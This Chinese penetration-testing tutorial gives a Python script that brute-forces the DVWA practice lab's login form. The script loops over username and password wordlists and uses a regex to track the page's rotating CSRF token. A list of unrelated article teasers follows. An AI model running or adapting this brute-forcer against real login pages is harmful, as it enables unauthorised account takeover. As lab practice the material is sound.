渗透测试入门学习——使用python脚本自动跟踪csrf_token实现对网站登录界面的暴力破解

news/2024/10/9 5:45:59/

目录

写在前面

使用方法

相关代码


写在前面

最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用,就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能,于是自己在练习时就想到了用python脚本的方式来弥补BP中的这一欠缺,其中的核心便是用python中的正则匹配库实现对Response内容的分析和定位需要获取的内容

相关代码

python">import requests
import re# 填入请求地址
url = "http://192.168.160.131/DVWA/vulnerabilities/brute/"
# 填入请求头中的Cookie值
cookie = "security=high; PHPSESSID=ekjn7547iglbc0stpsef2m9gm3"
# 填入页面中下次一请求需要携带的csrf_token值
csrf_token = "99095598fea3cf9d615b2687747aaf5f"
bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = "Username and/or password incorrect"
count = 0
# 定义正则表达式匹配规则,匹配某个input标签中name为user_token的字段的value值
# <input[^>]匹配以<input开始到>字符串
# 正则表达式的规则中+号后面的规则会继续对加号前面所匹配到字符串做处理,相当于层层筛选
# name=["\']user_token["\']匹配name="user_token"或name='user_token'字符串
# [^>]+value=["\']在input标签中,找到属性value=
# ([^"\']+)用来获取到匹配到的value中属性的值
# [^"\']+匹配非引号的字符
model = r'<input[^>]+name=["\']user_token["\'][^>]+value=["\']([^"\']+)["\']'with open("./user.txt", 'r') as file_usr:with open("./pswd.txt", 'r') as file_pwd:while not bf_flag:first = file_usr.readline()if not first:break# 在内层循环之前,重置文件指针到文件开头实现遍历file_pwd.seek(0)while not bf_flag:second = file_pwd.readline()if not second:breakfirst = first.strip()second = second.strip()count += 1response = requests.get(url = url,params = {"username":first, "password":second, "Login":"Login", "user_token":csrf_token},headers = {"Cookie":cookie})match = re.search(model, response.text)if match:# 获取正则表达式匹配到的内容,这里正常情况下只会匹配到一个,用.group(1)即可csrf_token = match.group(1)else:print("获取token失败,请检查匹配规则")if failure in response.text:print("第"+ str(count) +"次尝试--失败:",first + " " + second)else:print("第"+ str(count) +"次尝试--成功:",first + " " + second)bf_flag = True;break;

使用方法

在登陆界面随意尝试,查看并复制请求头中的Cookie值

在页面元素中查找下一次向服务器请求所需要的csrf_token值 

填写到脚本的对应位置

根据自己的情况分别引入账号、口令两个字典文件

 运行代码等待破解成功


http://www.ppmy.cn/news/1536494.html

相关文章

Golang 进阶4—— 网络编程

Golang 进阶4—— 网络编程 注意&#xff0c;该文档只适合有编程基础的同学&#xff0c;这里的go教程只给出有区别的知识点 网络编程&#xff1a; 把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大&#xff0c;功能强的网络系统&#xff0c;从而使众…

机器学习K近邻算法——分类问题K近邻算法示例

针对“数据8.1”&#xff0c;讲解分类问题的K近邻算法&#xff0c;以V1&#xff08;转型情况&#xff09;为响应变量&#xff0c;以V2&#xff08;存款规模&#xff09;、V3&#xff08;EVA&#xff09;、V4&#xff08;中间业务收入&#xff09;、V5&#xff08;员工人数&…

PHP爬虫:获取商品SKU详细信息的利器

在电子商务领域&#xff0c;SKU&#xff08;Stock Keeping Unit&#xff09;即库存单位&#xff0c;是商品信息管理中的基础元素。获取商品的SKU详细信息对于电商运营者来说至关重要&#xff0c;它直接关系到库存管理、订单处理、客户服务等多个方面。PHP作为一种广泛使用的服务…

软件测试之压力测试

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 压力测试 压力测试是一种软件测试&#xff0c;用于验证软件应用程序的稳定性和可靠性。压力测试的目标是在极其沉重的负载条件下测量软件的健壮性和错误处理能力&…

车辆重识别(2021NIPS无分类器扩散指南)论文阅读2024/10/08

什么叫做有条件和无条件的扩散模型&#xff1f; FID是什么&#xff1f; IS是什么&#xff1f; λ是给出的参数&#xff0c;就像去噪扩散模型中每个时间步的β一样&#xff0c;每一时间步的λ都会给出。对于是否有条件信息c的概率 我的意思是在每一个训练轮次中&#xf…

基于Zynq SDIO WiFi移植三(支持2.4/5G)

应用问题-WIFI作为AP-hostapd多次连接 设备作为WIFI热点时&#xff0c;连接出现了下述问题&#xff1a; 1 手机连接需要三次&#xff0c;三次都需要输入密码&#xff1b; 2 平板连接需要三次&#xff0c;三次都需要输入密码&#xff1b; 3 电脑连接需要一次&#xff0c;无感…

【CuPy报错】NVRTC_ERROR_COMPILATION (6)找不到 ‘vector_types.h‘

cupy安装不要再使用pip install cupy了&#xff0c; 已经替换成基于版本安装了pip install cupy-cuda12x&#xff0c;详见cupy官网。 安装完成后&#xff0c;在import cupy之后报错&#xff0c;找不到 ‘vector_types.h’: CompileException: /home/zoe/venv/lib/python3.10/…

查看PyTorch的GPU使用情况的工具

文章目录 torch.cuda APISnapshottorchinfo torch.cuda API torch.cuda.memory_stats&#xff1a;返回给定设备的 CUDA 内存分配器统计信息字典。该函数的返回值是一个统计字典&#xff0c;每个字典都是一个非负整数。torch.cuda.memory_summary&#xff1a;返回给定设备当前内…